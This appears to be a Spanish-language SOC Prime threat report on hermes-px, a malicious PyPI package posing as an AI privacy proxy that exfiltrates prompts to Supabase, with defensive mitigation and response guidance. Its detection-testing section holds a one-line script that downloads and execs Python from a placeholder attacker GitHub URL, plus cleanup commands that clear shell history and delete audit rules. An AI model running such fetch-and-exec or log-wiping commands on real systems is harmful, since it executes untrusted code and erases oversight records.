SOC Prime Bias: Crítico

08 Abr 2026 18:28

hermes-px: Un Proxy de Privacidad Falso que Exfiltra Indicios y Manipula Código Claude

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
hermes-px: Un Proxy de Privacidad Falso que Exfiltra Indicios y Manipula Código Claude
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

JFrog Security Research identificó un paquete malicioso en PyPI, hermes-px, que se hace pasar por un proxy de inferencia de IA centrado en la privacidad. En lugar de proteger a los usuarios, dirige el tráfico a través de Tor a un punto final de IA alojado no autorizado en una universidad, intercambia o reescribe mensajes del sistema y exfiltra indicaciones y respuestas del modelo a un backend de Supabase. El paquete también incorpora un mensaje del sistema Anthropic Claude robado y renombrado, reforzando el engaño. hermes-px se distribuye a través de PyPI público y es instalable mediante flujos de trabajo estándar de pip, lo que facilita su integración en entornos de desarrollo.

Investigación

Los investigadores revisaron el código fuente y encontraron tres capas de cifrado utilizadas para ocultar cadenas sensibles, junto con una clave de API de Supabase codificada y un componente de telemetría que transmite datos directamente sobre Internet público. El punto final de destino descifrado se resuelve a una API universitaria privada protegida por Azure WAF, lo que indica abuso de infraestructura no destinada a la intermediación pública. La documentación del proyecto además incita a los usuarios a obtener y ejecutar código adicional desde una URL de GitHub, ampliando el riesgo más allá del paquete mismo. Para integrarse en patrones de desarrollo normales, hermes-px imita la interfaz del SDK de Python de OpenAI, reduciendo la sospecha durante la integración.

Mitigación

Elimine hermes-px de todos los entornos y bloquee las fuentes de dependencia para evitar la reinstalación. Roten cualquier credencial que pueda haber sido expuesta en indicaciones, configuración o registros, y bloqueen el acceso al dominio de exfiltración de Supabase y otras URL maliciosas identificadas. Si Tor fue instalado específicamente para soportar esta herramienta, elimínenlo y revisen los controles de red relacionados. Asuman que las indicaciones pueden contener datos sensibles y revisen cualquier contenido capturado en busca de secretos, tokens o información regulada.

Respuesta

Busquen instalaciones de hermes-px usando inventarios de paquetes y baselines de estaciones de trabajo de desarrolladores, luego alerten sobre conexiones salientes a supabase.co y el punto final de la API universitaria identificada. Cuarenten las máquinas afectadas, preserven artefactos relevantes (archivos de paquetes, historial de terminal, archivos de bloqueo de dependencias), y evalúen la exposición determinando qué indicaciones y respuestas se transmitieron. Notifiquen a los usuarios afectados y, si es aplicable, a la(s) institución(es) afectada(s), y actualicen las detecciones para señalar similitudes con el SDK, comportamiento de proxy mediado por Tor, y módulos de telemetría sospechosos en paquetes de Python.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Technique nodes tech_user_exec["<b>Technique</b> – <b>T1204 User Execution</b><br/>Victim runs malicious command (e.g., pip install hermes-px)<br/><b>Description</b>: Execution of malicious code by convincing a user to run it."] class tech_user_exec technique tech_supply_chain["<b>Technique</b> – <b>T1195.002 Compromise Software Supply Chain</b><br/>Malicious PyPI package published to hijack dependency chain<br/><b>Description</b>: Adversary injects malicious code into a software supply chain."] class tech_supply_chain technique tech_python["<b>Technique</b> – <b>T1059.006 Python</b><br/>Malicious Python code executed after installation<br/><b>Description</b>: Use of the Python interpreter to run commands."] class tech_python technique tech_proxy_ext["<b>Technique</b> – <b>T1090.002 External Proxy</b><br/>Traffic routed through Tor exit node<br/><b>Description</b>: Use of an external proxy service to hide the origin of network traffic."] class tech_proxy_ext technique tech_proxy_multi["<b>Technique</b> – <b>T1090.003 Multi hop Proxy</b><br/>Multiple Tor hops for anonymity<br/><b>Description</b>: Chaining several proxies to further obscure traffic source."] class tech_proxy_multi technique tech_web_proto["<b>Technique</b> – <b>T1071.001 Web Protocols</b><br/>HTTP requests to a private university AI API<br/><b>Description</b>: Use of web protocols for command and control communication."] class tech_web_proto technique tech_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/>Encrypted strings decoded at runtime<br/><b>Description</b>: Hide malicious code using encryption or encoding."] class tech_obfuscation technique tech_dynamic_api["<b>Technique</b> – <b>T1027.007 Dynamic API Resolution</b><br/>API addresses resolved dynamically at execution time<br/><b>Description</b>: Resolve and invoke APIs at runtime to avoid static detection."] class tech_dynamic_api technique tech_exfil["<b>Technique</b> – <b>T1567 Exfiltration Over Web Service</b><br/>Data sent to attacker Supabase endpoint<br/><b>Description</b>: Transfer of data to external web services controlled by the adversary."] class tech_exfil technique tech_subvert_trust["<b>Technique</b> – <b>T1553 Subvert Trust Controls</b><br/>Fake organization and polished documentation used to lure victims<br/><b>Description</b>: Manipulate trust relationships to facilitate compromise."] class tech_subvert_trust technique %% Flow connections tech_user_exec –>|executes| tech_supply_chain tech_supply_chain –>|delivers| tech_python tech_python –>|uses| tech_proxy_ext tech_proxy_ext –>|chains to| tech_proxy_multi tech_proxy_multi –>|communicates via| tech_web_proto tech_web_proto –>|uses| tech_obfuscation tech_web_proto –>|uses| tech_dynamic_api tech_obfuscation –>|enables| tech_exfil tech_dynamic_api –>|enables| tech_exfil tech_python –>|enables| tech_subvert_trust "

Flow de Ataque

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

  • Narrativa del Ataque y Comandos:
    Un atacante ha obtenido una carga útil maliciosa de Python alojada en un repositorio público de GitHub. Para evitar escribir archivos en el disco (reduciendo el rastro forense), usan un comando de Python de una sola línea que:

    1. Llama a urllib.request.urlopen() para descargar el contenido del script en bruto desde GitHub.
    2. Lee la respuesta y pasa los bytes a exec() para su ejecución inmediata.
    3. Ejecuta el comando en un host Linux comprometido donde el atacante ya tiene un shell de bajo privilegio.

    Este patrón exacto (python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") coincide con los criterios de cadena de la regla de detección.

  • Script de Prueba de Regresión:

    #!/bin/bash
    #
    # Simula la ejecución de Python maliciosa que debería activar la regla de Sigma.
    #
    MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py"
    python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"

    Guarde este script como trigger_detection.sh, hágalo ejecutable (chmod +x trigger_detection.sh), y ejecútelo en el host objetivo.

  • Comandos de Limpieza:

    # No se crean artefactos persistentes, pero asegúrese de que el terminal esté limpio.
    history -c                     # Borrar historial de comandos para la sesión actual
    sudo auditctl -D               # (Opcional) Eliminar todas las reglas de auditoría de runtime si las agregó solo para pruebas
    # Si agregó una regla persistente en /etc/audit/rules.d/, considere eliminarla:
    # sudo rm /etc/audit/rules.d/process_creation.rules